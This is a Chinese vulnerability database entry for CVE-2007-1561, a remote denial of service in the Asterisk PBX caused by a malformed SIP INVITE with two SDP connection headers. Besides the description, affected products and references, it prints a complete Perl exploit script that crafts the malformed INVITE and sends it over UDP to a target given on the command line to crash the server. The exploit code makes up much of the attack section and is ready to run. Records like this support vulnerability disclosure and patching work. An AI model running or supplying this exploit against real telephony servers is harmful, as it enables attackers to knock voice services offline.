Asterisk SIP畸形INVITE消息远程拒绝服务漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1112548 漏洞类型 其他
发布时间 2007-03-25 更新时间 2007-08-28
CVE编号 CVE-2007-1561 CNNVD-ID CNNVD-200703-502
漏洞平台 Multiple CVSS评分 7.8
|漏洞来源
https://www.exploit-db.com/exploits/3566
https://www.securityfocus.com/bid/23031
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200703-502
|漏洞详情
Asterisk是一款PBX系统的软件,运行在Linux系统上,支持使用SIP、IAX、H323协议进行IP通话。Asterisk在处理包含畸形结构的报文时存在漏洞,远程攻击者可能利用此漏洞导致软件拒绝服务。如果远程攻击者向Asterisk发送了特制的INVITE消息的话,且SDP包含有两个连接头,其中第一个必须有效,第二个的IP地址无效,则Asterisk在处理这种特制消息时会立即崩溃。如果将asterisk设置为禁止匿名呼叫的话,攻击者还需要拥有有效的用户名和口令。
|漏洞EXP
#!/usr/bin/perl
# perl  asterisk-Invite.pl 192.168.1.104 5060 userX  192.168.1.2 5060 userY

use IO::Socket::INET;

die "Usage $0 <dst> <dport> <dusername> <src> <sport> <susername>" unless ($ARGV[5]);

 

$socket=new IO::Socket::INET->new(PeerPort=>$ARGV[1],

        Proto=>'udp',

        PeerAddr=>$ARGV[0]);


$msg="INVITE sip:$ARGV[2]\@$ARGV[0]:$ARGV[1] SIP/2.0\r\nVia: SIP/2.0/UDP $ARGV[3]:$ARGV[4];branch=01;rport\r\nTo: <sip:$ARGV[2]\@$ARGV[0]:$ARGV[1]>\r\nFrom:  <sip:$ARGV[3]:$ARGV[4]>;tag=01\r\nCall-ID: 01\@$ARGV[3]\r\nContent-Type: application/sdp\r\nCSeq: 01 INVITE\r\nContent-Length: 187\r\n\r\nv=0\r\no=root 25903 25903 IN IP4 $ARGV[3]\r\ns=session\r\nc=IN IP4 $ARGV[3]\r\nc=IN IP4 910.188.8.2\r\nt=0 0\r\nm=audio 13956 RTP/AVP 0 4 3 8 111 5 10 7 18 110 97 101\r\na=rtpmap:98 speex/16000\r\n\r\n";

$socket->send($msg);

# milw0rm.com [2007-03-25]
|受影响的产品
SuSE Linux 10.1 Gentoo Linux Debian Linux 3.1 sparc Debian Linux 3.1 s/390 Debian Linux 3.1 ppc Debian Linux 3.1 mipsel Debian Linux 3.1 mips
|参考资料

来源:BID
名称:23031
链接:http://www.securityfocus.com/bid/23031
来源:VUPEN
名称:ADV-2007-1039
链接:http://www.frsirt.com/english/advisories/2007/1039
来源:XF
名称:asterisk-sip-invite-dos(33068)
链接:http://xforce.iss.net/xforce/xfdb/33068
来源:www.sineapps.com
链接:http://www.sineapps.com/news.php?rssid=1707
来源:SECTRACK
名称:1017794
链接:http://www.securitytracker.com/id?1017794
来源:BUGTRAQ
名称:20070321TwonewDoSVulnerabilitiesinAsteriskFixed
链接:http://www.securityfocus.com/archive/1/archive/1/463434/100/0/threaded
来源:MLIST
名称:[VOIPSEC]20070319AsteriskSDPDOSvulnerability
链接:http://voipsa.org/pipermail/voipsec_voipsa.org/2007-March/002275.html
来源:FULLDISC
名称:20070319AsteriskSDPDOSvulnerability
链接:http://marc.theaimsgroup.com/?l=full-disclosure&m=117432783011737&w=2
来源:asterisk.org
链接:http://asterisk.org/node/48339
来源:OSVDB
名称:34479
链接:http://www.osvdb.org/34479
来源:SUSE
名称:SUSE-SA:2007:034
链接:http://www.novell.com/linux/security/advisories/2007_34_asterisk.html
来源:DEBIAN
名称:DSA-1358
链接:http://www.debian.org/securit